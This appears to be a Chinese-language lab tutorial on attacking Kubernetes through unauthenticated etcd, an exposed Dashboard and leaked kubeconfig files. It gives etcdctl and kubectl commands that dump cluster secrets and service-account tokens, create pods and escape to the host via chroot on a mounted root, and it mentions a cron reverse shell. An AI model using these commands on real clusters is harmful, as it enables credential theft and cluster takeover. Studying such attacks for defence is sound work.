云上攻防 k8s&Etcd未授权&Config泄露&Dashboard未授权&Proxy暴露

etcd 未授权访问

etcd作为k8s用于存储集群的配置信息、节点状态、Pod 信息等关键数据的组件，也像上期APIServer一样存在未授权访问漏洞。在配置文件/etc/kubernetes/manifests/etcd.yaml中， --client-cert-auth 参数打开证书校验，暴露在外，致使Etcd服务存在未授权访问风险。它的端口号为2379

它的版本现大部分为v3，还有v2，二者利用方式有些许不同

直接访问地址https://ip:port/v2/keys/?recursive=true，如果出现以下界面说明版本为v3。如果是v2版本访问此地址会出来很多数据

因为v2直接访问地址就可以得到数据，这和v3的获取方式不同，这里详细介绍一下v3版本的利用过程

看不懂图别慌，慢慢解释

使用etcdctl工具，连接etcd节点。此工具可以在github上安装

etcdctl --endpoints=ip:2379 get / --prefix

哎，怎么会出现上面这种情况呢？这是正常的，环境导致的问题，即使出现了未授权漏洞也会这样。以下分为三种情况讨论

第一种：没有配置指定 --client-cert-auth打开证书校验，暴露在外 Etcd 服务存在未授权访问风险。
- 暴露外部可以访问，直接未授权访问获取 secrets 和 token 利用

第二种：在打开证书校验选项后，通过本地 127.0.0.1:2379 可免认证访问 Etcd 服务，但通过其他地址访问要携带 cert 进行认证访问，一般配合 ssrf 或其他利用，较为鸡肋。
- 只能本地访问，直接未授权访问获取 secrets 和 token 利用

第三种：实战中在安装 k8s 默认的配置 2379 只会监听本地，如果访问没设置 0.0.0.0 暴露，那么也就意味着最多就是本地访问，不能公网访问，只能配合 ssrf 或其他。
- 只能本地访问，利用 ssrf 或其他进行获取 secrets 和 token 利用

白话文如下，第一种情况，非常顺利，因为打开了证书校验致使etcd服务暴露在外未授权访问，使用命令（我上面写的）可以直接访问到secrets和token。第二种，开启证书校验后只有本机可以无需认证访问到数据，虽然暴露在公网，你还是得有它的证书才能通过验证，所以得通过ssrf或者其他漏洞让etcd服务机访问自己·，获取secrets和token。第三种，因为k8s默认配置为2379只监听本地，就算开启了证书校验，没有设置可以允许外网访问，那么就是只能本地看看得了

如果遇到第一种情况，或者通过漏洞绕过了本地这一限制，就可以按照接下来流程测试

1、连接提交测试
./etcdctl --endpoints=192.168.139.136:23791 get /--prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"
2、获取 k8s 的 secrets
./etcdctl --endpoints=192.168.139.136:23791 get /--prefix --keys-only | grep /secrets/
3、读取 service account token:
./etcdctl --endpoints=192.168.139.136:23791 get /--prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
4、通过 token 访问 API-Server，获取集群的权限：
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods

连接提交测试这一步就像是往数据库里写东西，get是查询，put是上传要写的内容，端口号为23791是因为容器的端口映射

因为搭建的环境里面没有后续2->4能获取的信息，所以不做演示。通过以上操作获取到集群权限后，就可以像上期内容一样写入test.yaml文件，再进入根据文件配置好的容器，通过计划任务反弹shell。。。不清楚的建议回顾上一篇内容

Dashboard 未授权访问

Dashboard是为了方便管理k8s所提供图形化界面的工具，可以参考宝塔面板，默认端口：自己设的
配置不当导致 dashboard 未授权访问，通过 dashboard 我们可以控制整个集群。
kubernetes dashboard 的未授权其实分两种情况：
一种是在本身就存在着不需要登录的 http 接口，但接口本身并不会暴露出来，如接口被暴露在外，就会导致 dashboard 未授权。另外一种情况则是开发嫌登录麻烦，修改了配置文件，使得安全接口 https 的 dashboard 页面可以跳过登录。

此配置文件是后面自行安装的，不确定路径在哪儿 --validate=false在启动选项后面添加

启动后访问，一共有两种验证方式，利用token（可以从etcd获取）或者k8s的配置文件。因为开启了enable-skip-login，很明显看到下方带有skip选项

进入面板，利用思路与前期大差不差，都是要写文件逃逸的

找到pods，点+

可以自己写或者上传yaml文件

等黄变绿后exec进入容器

命令框内写计划任务反弹

Config泄露

攻击者通过 Webshell、Github 等拿到了 K8s 配置的 Config 文件，操作集群，从而接管所有容器。

通过以下顺序来找到 kubeconfig 文件：
- 如果提供了 --kubeconfig 参数，就使用提供的 kubeconfig 文件
- 如果没有提供 --kubeconfig 参数，但设置了环境变量 $KUBECONFIG，则使用该环境变量提供的 kubeconfig 文件
- 如果以上两种情况都没有，kubectl 就使用默认的 kubeconfig 文件
~/.kube/config

获取到config文件后敲命令连接，也可以在Dashboard界面使用config文件直接登陆

kubectl -s https://192.168.139.139:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

#上传利用 test.yaml 创建 pod
kubectl apply -f test.yaml -n default --kubeconfig=config
连接 pod 后进行容器挂载逃逸
#kubectl exec -it xiaodisec bash -n default --kubeconfig=config
cd /mnt
chroot . bash#获取当前根目录，新建一个bash